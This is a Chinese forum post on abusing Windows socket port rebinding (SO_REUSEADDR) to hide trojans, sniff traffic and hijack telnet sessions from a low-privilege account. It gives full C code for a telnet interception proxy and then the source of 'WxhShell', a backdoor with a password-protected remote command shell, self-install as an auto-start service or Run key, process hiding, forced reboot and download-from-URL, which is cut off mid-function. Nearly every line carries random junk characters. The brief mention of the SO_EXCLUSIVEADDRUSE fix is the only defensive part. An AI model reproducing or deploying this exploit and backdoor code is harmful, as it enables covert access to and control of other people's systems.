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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: l 73% y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [7}3k?42X  
A l?%[-u  
  saddr.sin_family = AF_INET; 93*d:W8Vr  
JtO}i{A  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); U,!qNi}  
'9!_:3[d\]  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _&]7  
n#6{K6}k~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &pY '  
P%:?"t+J`;  
  这意味着什么?意味着可以进行如下的攻击: ;j9%D`u<  
(m'-1wX.  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2,:{ 5]Q$  
fNLO%\G~2  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) GeJ}myD O  
(d#&m+ g]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Jk%5Fw0  
C<=rnIf'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  U@q5`4-!8  
\d;)U4__!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :h(RS ;  
.I>rX#aNt  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ; =n}61  
F^/KD<cgK  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 'o)Y!VYnJF  
|@_<^cV110  
  #include *f 7rLM*  
  #include 7C'@g)@^/  
  #include 8XYxyOl  
  #include    dDA8IW![S  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ;"cQ)=s9Y  
  int main() z00X ?F  
  { ^.:&ZsqV  
  WORD wVersionRequested; X'b3CS4  
  DWORD ret; rGQD+ d  
  WSADATA wsaData; F m:Ys](  
  BOOL val; k6"(\d9o  
  SOCKADDR_IN saddr; =COQv=GT  
  SOCKADDR_IN scaddr; MhA4C 8  
  int err; :@)R@. -  
  SOCKET s; +F q_w  
  SOCKET sc; ;`/a. /bc  
  int caddsize; `Njvk  
  HANDLE mt; r-YJ$/J  
  DWORD tid;   DTH}=r-  
  wVersionRequested = MAKEWORD( 2, 2 ); C-A? mIC  
  err = WSAStartup( wVersionRequested, &wsaData ); tm/ >H  
  if ( err != 0 ) { @?e~l:g})g  
  printf("error!WSAStartup failed!\n"); qqo#H O  
  return -1; ^;ZpK@Luk  
  } ]d[e  
  saddr.sin_family = AF_INET; 8H-yT1  
   E} ]=<8V  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0R? @JC  
6O,k! y>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2FaCrc/  
  saddr.sin_port = htons(23); x-c5iahp'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) LU;zpXg\  
  { lr4wz(q<9  
  printf("error!socket failed!\n"); HI{q#  
  return -1; ;Q,t65+Am  
  } ,+ IFV  
  val = TRUE; m8PS84."]M  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 2~\SUGW-  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) LZ_0=Xx%  
  { qE2VUEv5Y  
  printf("error!setsockopt failed!\n"); baD063P;  
  return -1; R~iv%+  
  } oh:9v+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; OS`jttU@  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [uGsF0#e  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 W/\VpD) ?;  
-a@e28Y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) vGlVr.)  
  { FS=yc.Q_  
  ret=GetLastError(); OnE%D|Tq=  
  printf("error!bind failed!\n"); jZ-s6r2=  
  return -1; $365VTh"  
  } :8eI_X  
  listen(s,2); $adZ|Q\  
  while(1) JDR_k  
  { N,K/Ya)1  
  caddsize = sizeof(scaddr); L(C`<iE&3  
  //接受连接请求 izcaWt3 a  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); nS3Aadm  
  if(sc!=INVALID_SOCKET) v[|W\y@H/3  
  { X-nC2[tu'W  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); OWwqCPz.  
  if(mt==NULL) +'c+X^_  
  { R+NiIoa  
  printf("Thread Creat Failed!\n"); %H\J@{f  
  break; .,z6a  
  } {aUTTEu  
  } -->0e{y  
  CloseHandle(mt); 9o5D3 d K  
  } >nSt<e  
  closesocket(s); tXtNK2-1  
  WSACleanup(); ':;k<(<-  
  return 0; v =y 2  
  }   $O*@Jg=  
  DWORD WINAPI ClientThread(LPVOID lpParam) pml33^*<U  
  { R6(:l; W  
  SOCKET ss = (SOCKET)lpParam; -ymDRoi  
  SOCKET sc; AcuF0KWw/  
  unsigned char buf[4096]; 3<W%z]k@M  
  SOCKADDR_IN saddr; !Nx1I  
  long num; 7xeqs q  
  DWORD val; J?3/L&seA  
  DWORD ret; #}y8hzS$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 VSY  p  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   :+Ukwno?/  
  saddr.sin_family = AF_INET; p}JOiiHa  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); m4@NW*G{  
  saddr.sin_port = htons(23); A_9^S!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?'P}ZC8P  
  { PX|@D_%Y=  
  printf("error!socket failed!\n"); G~<UP(G  
  return -1; =|P &G~]  
  } XJe=+_K9  
  val = 100; qMJJBl  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V#dga5*]  
  { RN(I}]]a  
  ret = GetLastError(); O<cP1TF  
  return -1; O,B\|pd2  
  } DSz[,AaR]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C*(  
  { D8Fi{?A#FV  
  ret = GetLastError(); ;_(f(8BO   
  return -1; \Vf:/9^  
  } D|9+:Y  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) n6% `  
  { 7_i8'(``  
  printf("error!socket connect failed!\n"); ]j*2PSJG  
  closesocket(sc); tNT Sy =  
  closesocket(ss); !CYC7HeF  
  return -1; 3^y(@XFt  
  } 1.!U{>$  
  while(1) sFFQ]ST2p  
  { KR aL+A  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 xN-,gT'!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1/Ts .\K3  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 _HUbE /  
  num = recv(ss,buf,4096,0); f,HUr% @  
  if(num>0) #Lhv=0op  
  send(sc,buf,num,0); C27:ty V  
  else if(num==0) uNzc,OH  
  break; I$7eiW @  
  num = recv(sc,buf,4096,0); Ym6d'd<9(  
  if(num>0) .hat!Tt9  
  send(ss,buf,num,0); 3gi)QCsk  
  else if(num==0) A"V mxP  
  break; KG'i#(u[  
  } 3xChik{  
  closesocket(ss); sT\:**  
  closesocket(sc); Ha@; Sz<R  
  return 0 ; o:@Q1+p  
  } ;/K2h_=3z  
1)(>'pY  
Vx_33";S\  
========================================================== OBWWcL-  
(&:gD4.  
下边附上一个代码,,WXhSHELL cl~Yx 4  
]O x5F@  
========================================================== &~,4$& _  
m^_=^z+  
#include "stdafx.h" )j_El ]?  
 z:,PwLU  
#include <stdio.h>  js_`L#t  
#include <string.h> >d/H4;8  
#include <windows.h> gF)9a_R%p  
#include <winsock2.h> ot^pxun  
#include <winsvc.h> YFO{i-*q  
#include <urlmon.h> 8`q7Yss6F  
rJ!cma  
#pragma comment (lib, "Ws2_32.lib") YlHP:ZW-cu  
#pragma comment (lib, "urlmon.lib") _;1{feR_  
A]z*#+Sl  
#define MAX_USER   100 // 最大客户端连接数 fvkcJwkc  
#define BUF_SOCK   200 // sock buffer ux;?WPyr  
#define KEY_BUFF   255 // 输入 buffer cl4E6\?z  
\|;\  
#define REBOOT     0   // 重启 0t <nH%N}^  
#define SHUTDOWN   1   // 关机 pO` KtagL  
gYKz,$  
#define DEF_PORT   5000 // 监听端口 F-yY(b]$  
"s+4!,k  
#define REG_LEN     16   // 注册表键长度 -=ZL(r 1  
#define SVC_LEN     80   // NT服务名长度 XjX  
xnP!P2  
// 从dll定义API ,erw(7}'.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Zj`WRH4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (f#(B2j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yeo&Qz2vU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )g0fN+Mb  
*r7v Dc  
// wxhshell配置信息 ',+yD9 @  
struct WSCFG { =&HLz 7|  
  int ws_port;         // 监听端口 hx;f/E Px  
  char ws_passstr[REG_LEN]; // 口令 $<}c[Nm  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^t;z;.g  
  char ws_regname[REG_LEN]; // 注册表键名  T{YZ`[  
  char ws_svcname[REG_LEN]; // 服务名 rO1!h%&o"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 rwm^{Qa  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T<AT&4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Wa_qD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m>>.N?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K5""%O+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {zdMmpQF  
"}4%vZz  
}; MmuT~d/  
|c_qq Bd  
// default Wxhshell configuration vvoxK0  
struct WSCFG wscfg={DEF_PORT, -yYdj1y;  
    "xuhuanlingzhe", N ##`  
    1, bDI%}k9#  
    "Wxhshell", PnlI {d  
    "Wxhshell", <n"BPXF~  
            "WxhShell Service", +6m.f,14q  
    "Wrsky Windows CmdShell Service", PNU(;&2<  
    "Please Input Your Password: ", y8Va>ul"U  
  1, x0*{oP  
  "http://www.wrsky.com/wxhshell.exe", e#eVc'=cDR  
  "Wxhshell.exe" sV^:u^  
    }; Y.tx$%  
~%TWF+  
// 消息定义模块 8`Ya7c>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `?Rq44=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F MfpjuHk  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; U, 6iT  
char *msg_ws_ext="\n\rExit."; " qI99e  
char *msg_ws_end="\n\rQuit."; W :w~ M'o  
char *msg_ws_boot="\n\rReboot..."; zM0NRERi  
char *msg_ws_poff="\n\rShutdown..."; >ZA=9v  
char *msg_ws_down="\n\rSave to "; x-^6U  
8xpplo8  
char *msg_ws_err="\n\rErr!"; D7Q+w  
char *msg_ws_ok="\n\rOK!"; &y[NC AeA  
<N<Q9}`V  
char ExeFile[MAX_PATH]; >4 OXG7.&f  
int nUser = 0; b}J%4Lx%m  
HANDLE handles[MAX_USER]; D$>_W,*V  
int OsIsNt; l,ENMKA^D  
9g92eKS  
SERVICE_STATUS       serviceStatus; |(7}0]BP0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6CJMQi,kn  
ngY%T5-  
// 函数声明 U=>S|>daR  
int Install(void); $YYWpeW '  
int Uninstall(void); g(7 -3q8eq  
int DownloadFile(char *sURL, SOCKET wsh); rg/{5f  
int Boot(int flag); V+d_1] l  
void HideProc(void); @Mk`Tl  
int GetOsVer(void); E?m~DYnU  
int Wxhshell(SOCKET wsl); \P\Z<z7jy  
void TalkWithClient(void *cs); ?ukw6T  
int CmdShell(SOCKET sock); MB plhVK8  
int StartFromService(void); <@<rU:o=V  
int StartWxhshell(LPSTR lpCmdLine);  *kr/,_K  
c]=2>ov)hR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T U%@_vYR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^l &lwSRVt  
Sb.8d]DW  
// 数据结构和表定义 Bx\&7|,x  
SERVICE_TABLE_ENTRY DispatchTable[] = DA=!AK>  
{ +2uSMr  
{wscfg.ws_svcname, NTServiceMain}, p [O6  
{NULL, NULL} f~IJ4T2#N  
}; "TRS(d|3  
-@TY8#O#-  
// 自我安装 XTol|a=  
int Install(void) qHtQ4_Zn;  
{ .RQra+up  
  char svExeFile[MAX_PATH]; t0)1;aBZ  
  HKEY key; lFBdiIw  
  strcpy(svExeFile,ExeFile); gesbt  
igO>)XbsM  
// 如果是win9x系统,修改注册表设为自启动 XN<SKW(H3  
if(!OsIsNt) { b F=MQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A=|XlP$6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j50vPV8m  
  RegCloseKey(key); ,GbmL8P7Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !\4x{Wa]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Mk! Fy]3  
  RegCloseKey(key); T^bA O-d#  
  return 0; fHt\KP  
    } )XI[hVUA  
  } f}otIf  
} nep#L>LP$x  
else { F%>$WN#2  
"k zKQ~  
// 如果是NT以上系统,安装为系统服务 6j E.X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;Iu _*U9)  
if (schSCManager!=0) MBLZ:A| C  
{ 8NN+Z<  
  SC_HANDLE schService = CreateService N:j 7J  
  ( jP@ @<dt  
  schSCManager, 0B6!$) *-i  
  wscfg.ws_svcname, 8PI%Z6  
  wscfg.ws_svcdisp,  A l[ZU  
  SERVICE_ALL_ACCESS, "ubp`7%67  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;QI9OcE@/  
  SERVICE_AUTO_START, {kpad(E  
  SERVICE_ERROR_NORMAL, x#{!hL 5G  
  svExeFile, *^>"  h@J  
  NULL, 1M ?BSH{  
  NULL, ]jT}]9Q$  
  NULL, K3&xe(  
  NULL, 0R x#Fm  
  NULL ) f?I{  
  ); 1 ?@HOu  
  if (schService!=0) *WE8J#]d  
  { (s8b?Ol/  
  CloseServiceHandle(schService); 1tuvJ+`{  
  CloseServiceHandle(schSCManager); 8SRR)O[)}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y oW ~  
  strcat(svExeFile,wscfg.ws_svcname); Nt>^2Mv   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ni~IY# '  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vCa8`m  
  RegCloseKey(key); {}$9 70y  
  return 0; }[0nTd  
    } Okq,p=D6  
  } -^&=I3bp  
  CloseServiceHandle(schSCManager); U`v2Yw3E  
} 0`/G(ukO  
} xGs}hVlZiC  
OqtGKda  
return 1; i)#-VOhX)  
} ljFq;!I5  
j>8DaEfwx  
// 自我卸载 <G pji5f2  
int Uninstall(void) 'LgRdtO6  
{ O_QDjxj^rZ  
  HKEY key; ^\}MG!l  
{-A|f  
if(!OsIsNt) { xG!~TQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i'f w>-0  
  RegDeleteValue(key,wscfg.ws_regname); HZ3;2k  
  RegCloseKey(key); !}Xoqamm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { - 2)k!5X=  
  RegDeleteValue(key,wscfg.ws_regname); Q4XlYgIV2A  
  RegCloseKey(key); h)Y] L#R  
  return 0; BX_yC=S  
  } 9NTNulD>P  
} WI\a  
} Sk{skvd;  
else { v3"6'.f;bY  
4cQP+n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e!6yxL*[@[  
if (schSCManager!=0) E{ /, b)  
{ E &9<JS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r<!hEWO>v  
  if (schService!=0) 'T eH(?3G  
  { T)P)B6q   
  if(DeleteService(schService)!=0) { [!uzXVS3  
  CloseServiceHandle(schService); @)>Z+g  
  CloseServiceHandle(schSCManager); 8 a]'G)(ts  
  return 0; I>?oVY6M@u  
  } (z sG!v  
  CloseServiceHandle(schService); ^J]&($-  
  } 8-#kY}d.  
  CloseServiceHandle(schSCManager); 8"%Es  
} _}R9!R0O  
} :#:|:q.]  
_?-oPb  
return 1; Wt/;iq"  
} "Z&.m..gc  
pGD@R=8  
// 从指定url下载文件 <0d2{RQ;  
int DownloadFile(char *sURL, SOCKET wsh) ,X4b~)  
{ w_{tS\  
  HRESULT hr; m-t: ' B  
char seps[]= "/"; ROFZ*@CH<  
char *token; <Y k i8  
char *file; )$]lf }  
char myURL[MAX_PATH]; ,l~<|\4,wv  
char myFILE[MAX_PATH]; X&9: ^$m  
#Hrzk!&9   
strcpy(myURL,sURL); @1CXc"IgA  
  token=strtok(myURL,seps); '3S~QN  
  while(token!=NULL) Et3I(X3  
  { G _cJI  
    file=token; Y,s EM%  
  token=strtok(NULL,seps); Z:9Q~}x8  
  } ?=&; A  
z>W:+W"o  
GetCurrentDirectory(MAX_PATH,myFILE); @HS*%N"*  
strcat(myFILE, "\\"); u%C oo  
strcat(myFILE, file); LO=U?`)q  
  send(wsh,myFILE,strlen(myFILE),0); LGt>=|=bj  
send(wsh,"...",3,0); -PV1x1|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .I:rb~ &  
  if(hr==S_OK) 9[/0  
return 0; Om*QN]lGq  
else ) lUS'I  
return 1; '?C6P5fm  
[[|#}D:L  
} 9w-\K]  
j4IVIj@$ `  
// 系统电源模块 {JfQQP&FV  
int Boot(int flag) 8R*;8y_  
{ `O6#-<>  
  HANDLE hToken; M|blg!j;  
  TOKEN_PRIVILEGES tkp;  w*`:v$  
HTh? &u\QG  
  if(OsIsNt) { gBqDx|G  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 7i($/mNl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4A J]qu  
    tkp.PrivilegeCount = 1; +RJ{)Nec  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _=$~l^Y[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %"`p&aE:  
if(flag==REBOOT) { [-\Y?3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) SXw r$)4_  
  return 0; !R@LC  
} kgo#JY-4  
else { _UVpQ5pN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kx&JY9(&#  
  return 0; &m3-][ !n  
} <);q,|eh2  
  } )|*Qs${tF  
  else { =n,;S W  
if(flag==REBOOT) { eC5*Q=ai,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Mqr]e#"o  
  return 0; 4.,EKw3  
} fAJyD`]Z  
else { -`' |z+V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) UC+Qn  
  return 0; 1]If< <  
} 2_pF#M9  
} B?%u< F  
_&, A  
return 1; c';~bYZ  
} ~);4O8~.  
Lc~m`=B  
// win9x进程隐藏模块 cB,^?djJ3  
void HideProc(void) Q+1ot,R  
{ k^oSG1F  
eP2Q2C8g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !EIH"`>!  
  if ( hKernel != NULL ) <~m qb=qA$  
  { \ZRII<k5)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3}}/,pGSc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ZSNbf|ldiE  
    FreeLibrary(hKernel); $R}C(k ;?  
  } oVw4M2!"K  
x[t?hl=:  
return; U)kyq  
} 4&NB xe  
2- L-=0  
// 获取操作系统版本 u8 k^\Do  
int GetOsVer(void) vE9"1M  
{ &3/`cl[+  
  OSVERSIONINFO winfo; k?h{ 6Qd  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <vl(a*4a  
  GetVersionEx(&winfo); ~jw:4sG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :vi %7  
  return 1; Y#lAG@$  
  else &K]|{1+  
  return 0; KdR\a&[MA  
} _3 [E$Lg  
q"Bd-?9  
// 客户端句柄模块 qF3S\ C  
int Wxhshell(SOCKET wsl) cY} jPDH  
{ jEKa9rt  
  SOCKET wsh; ?Ho$fGz  
  struct sockaddr_in client; IO #)r[JZ  
  DWORD myID; R@WW@ Of  
2;]tItd1  
  while(nUser<MAX_USER) W{IP}mM  
{ &h[)nD  
  int nSize=sizeof(client); |\B\IPs{%'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p,WBF  
  if(wsh==INVALID_SOCKET) return 1; M/V"Ke"N  
:8n?G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); NO*~C',cI/  
if(handles[nUser]==0) /_fZ2$/  
  closesocket(wsh); w}}+8mk[  
else Wm8BhO  
  nUser++; 21$^k5  
  } l$BKE{rg  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /XRgsF  
?{Xp'D\z  
  return 0; yPbOiA*lHz  
} J!rZs kd  
ziW[qH {  
// 关闭 socket dkEnc  
void CloseIt(SOCKET wsh) yyR@kOGga  
{ ^1}ffE(3>  
closesocket(wsh); #l2WRw_t  
nUser--; etW-gbr  
ExitThread(0); !x:w2  
} HV3wUEI3  
x^F2Ywp%  
// 客户端请求句柄 {iq{<;)U?U  
void TalkWithClient(void *cs) s|!b: Ms`  
{ =7P; /EV  
MD:kfPQ  
  SOCKET wsh=(SOCKET)cs; q33!X!br  
  char pwd[SVC_LEN]; YpZ 9h@,  
  char cmd[KEY_BUFF]; [TV"mA  
char chr[1]; xcIZ'V  
int i,j; q14A 'XW  
}Lwj~{  
  while (nUser < MAX_USER) { ZsPBs4<p  
[dL?N  
if(wscfg.ws_passstr) { Tf[-8H<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oB Bdk@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '*p-`  
  //ZeroMemory(pwd,KEY_BUFF); U7fE6&g  
      i=0; f<'&_*7,|t  
  while(i<SVC_LEN) { 4_I,wG@  
)@`w^\E_~_  
  // 设置超时 7#|NQ=yd  
  fd_set FdRead; yM D* >8/  
  struct timeval TimeOut; f&cG;Y  
  FD_ZERO(&FdRead); LveqG   
  FD_SET(wsh,&FdRead); +Vf|YLbhJ  
  TimeOut.tv_sec=8; .r*b+rc;]  
  TimeOut.tv_usec=0; U ._1'pW  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =yNHJHRA#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #XY]@V\  
!`#9#T|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WE~3(rs#X#  
  pwd=chr[0]; N$,)vb<  
  if(chr[0]==0xd || chr[0]==0xa) { _&![s]  
  pwd=0; zB]T5]  
  break; ;<X3AhF  
  } '}YXpB  
  i++; ujWHO$uz!  
    } S@"=,Xj M  
K ;xW/7?  
  // 如果是非法用户,关闭 socket sBu"$ "]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E:E &Wv?r  
} =L wX+c  
`Zi#rr|)L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o5$K^2^g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o%9>elOju  
-MEz`7c~  
while(1) { Gf]s?J^a  
Pd;ClMa%  
  ZeroMemory(cmd,KEY_BUFF); mVL,J=2  
< 5_Ys  
      // 自动支持客户端 telnet标准   9FLn7Y  
  j=0; tr/dd&(Y1  
  while(j<KEY_BUFF) { y?@Y\ b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); aC$g(>xFt  
  cmd[j]=chr[0]; B+DRe 8  
  if(chr[0]==0xa || chr[0]==0xd) { *nW9)T  
  cmd[j]=0; 8k`zMT  
  break; d,+n,;6Cf  
  } jb![ Lp  
  j++; i }g xq  
    } o%QQ7S3 P  
HgBg,1  
  // 下载文件 _TXV{<E6  
  if(strstr(cmd,"http://")) { omA*XXUx=8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4vQHr!$Ep  
  if(DownloadFile(cmd,wsh)) Y)*lw  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZAH<!@qh  
  else O({_x@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jgo@~,5R  
  } #rr-4$w+  
  else { `pMI[pLZe  
zB$6e!fc  
    switch(cmd[0]) { 7Mv$.Z(  
  .nH /=  
  // 帮助 kZ.3\  
  case '?': { Z%{f[|h9}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '> Q$5R1  
    break; U ^9oc&  
  } S+y2eP G  
  // 安装 9h(hx 7]  
  case 'i': { ?BZ][~n-Q  
    if(Install()) %Nn'p"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c6m,oS^  
    else `~]ReJ!X%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fx-*')  
    break; oCYD@S>h  
    } PK4UdT  
  // 卸载 NGY I%:  
  case 'r': { qi2dTB  
    if(Uninstall()) 7:<Ed"rdE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mv=cLG?X  
    else 'X,V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L>b,}w  
    break; "y0 A<-~  
    } 9.=#4OH/  
  // 显示 wxhshell 所在路径 8W>l(w9M  
  case 'p': { dSZ#,Ea"  
    char svExeFile[MAX_PATH]; j[`?`RyU  
    strcpy(svExeFile,"\n\r"); -*M:OF"Zh  
      strcat(svExeFile,ExeFile); P[K=']c  
        send(wsh,svExeFile,strlen(svExeFile),0); P.B'Gh#^  
    break; ]c2| m}I{:  
    } OJ 5 !+#>  
  // 重启 mD)O\.uA  
  case 'b': { #+PbcL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o {LFXNcg[  
    if(Boot(REBOOT)) `C?OAR44  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z0[ZO1Fo(  
    else { >2 qP  
    closesocket(wsh); RWo B7{G  
    ExitThread(0); B-|Zo_7  
    } UYOn p7R<  
    break; \W^+vuD8  
    } N=wy)+  
  // 关机 I}IW!K  
  case 'd': { @EZONKT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l5ds`uR#  
